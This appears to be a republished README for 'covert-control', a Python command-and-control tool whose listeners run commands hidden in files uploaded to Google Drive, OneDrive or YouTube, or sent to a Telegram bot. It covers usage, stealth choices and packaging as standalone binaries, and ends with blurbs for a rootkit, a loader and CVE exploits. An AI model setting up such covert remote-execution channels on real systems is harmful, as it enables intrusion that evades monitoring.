Covert-Control systems remotely by uploading files to Google Drive, OneDrive, Youtube or Telegram using Python to create the files and the listeners. It allows to create text files, images, audio or videos, with the commands in cleartext or encrypted using AES.
You can find example files in the folder test_files or create new ones with generate_file.py:
python3 generate_file.py -t TYPE [-o OUTPUTFILE] [-c COMMAND] [-e]
Examples:
python3 generate_file.py -t text -c “whoami” -o text.txt
python3 generate_file.py -t text -c “whoami” -o text_encrypted.txt -e
python3 generate_file.py -t audio -c “whoami” -o audio.wav
python3 generate_file.py -t audio -c “whoami” -o audio_encrypted.wav -e
python3 generate_file.py -t image -c “whoami” -o image.png
python3 generate_file.py -t image -c “whoami” -o image_encrypted.png -e
python3 generate_file.py -t video -c “whoami” -o video.avi
python3 generate_file.py -t video -c “whoami” -o video_encrypted.avi -e
Configuration
Common configuration values:
Specific configuration values:
It allows to execute commands uploading text files, images, audio and videos, unencrypted or encrypted with AES. The optional input argument is the public folder url, which can be also configured in config.py:
python3 covert-googledrive.py [FOLDER_URL]
The listener will check the Google Drive folder every 300 seconds by default (can be updated in config.py). In this case a video, “video.avi”, is uploaded with the command in the QR of the video:
After finding there is a new file uploaded to the folder, it is downloaded, processed and the commands are executed:
Onedrive
It allows to execute commands uploading text files, images, audio and videos, unencrypted or encrypted with AES. The optional input argument is the public folder url, which can be also configured in config.py:
python3 covert-onedrive.py [FOLDER_URL]
The listener will check the OneDrive folder every 300 seconds by default (this can be updated in config.py). In this case an audio, “audio_encrypted.wav”, is uploaded with the command encrypted with AES:
After finding there is a new file uploaded to the folder, it is downloaded, processed and the commands are executed:
NOTE: This will only work if you do not delete any file in the folder, if you do it you must create a new one. It could be possible to implement it to work even after deleting files, but it would be necessary to create many requests and would be less stealthy.
It allows to execute commands uploading videos, unencrypted or encrypted with AES. The optional input arguments are the Youtube channel ID to monitor and the API key, which can be also configured in config.py:
python3 covert-youtube.py [CHANNEL_ID] [API_KEY]
The listener will check the Youtube channel every 300 seconds by default (this can be updated in config.py). First the video is uploaded:
After finding there is a new video in the channel, it is downloaded, processed and the commands are executed:
Telegram
Control systems remotely with a Telegram bot. This option does not allow to upload files, but it is possible to send the commands in cleartext (“/cmd”) or encrypted with AES (“/encrypted”). The first optional input argument is the bot token, which can be also configured in config.py; the second one is used to configure a single Telegram user who can send commands to the bot (without “@”):
python3 covert-telegram.py [BOT_TOKEN] [TELEGRAM_USER]
The listener will check the commands in the chat and show the output:
/cmd CLEARTEXT_COMMAND
/encrypted AES_ENCRYPTED_COMMAND
Installation
sudo apt install libzbar0
pip install bs4 Pillow opencv-python pyqrcode pypng pyzbar youtube_dl pytesseract python-telegram-bot requests argparse pycryptodome
git clone https://github.com/ricardojoserf/covert-control && cd covert-control/
Creating standalone binaries
pyinstaller –onefile covert-googledrive.py
pyinstaller –onefile covert-onedrive.py
pyinstaller –onefile covert-telegram.py
pyinstaller –onefile covert-youtube.py
rm -rf build
rm *spec
ls dist/
shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation…
Extract and execute a PE embedded within a PNG file using an LNK file. The…
Embark on the journey of becoming a certified Red Team professional with our definitive guide.…
This repository contains proof of concept exploits for CVE-2024-5836 and CVE-2024-6778, which are vulnerabilities within…
This took me like 4 days (+2 days for an update), but I got it…
MaLDAPtive is a framework for LDAP SearchFilter parsing, obfuscation, deobfuscation and detection. Its foundation is…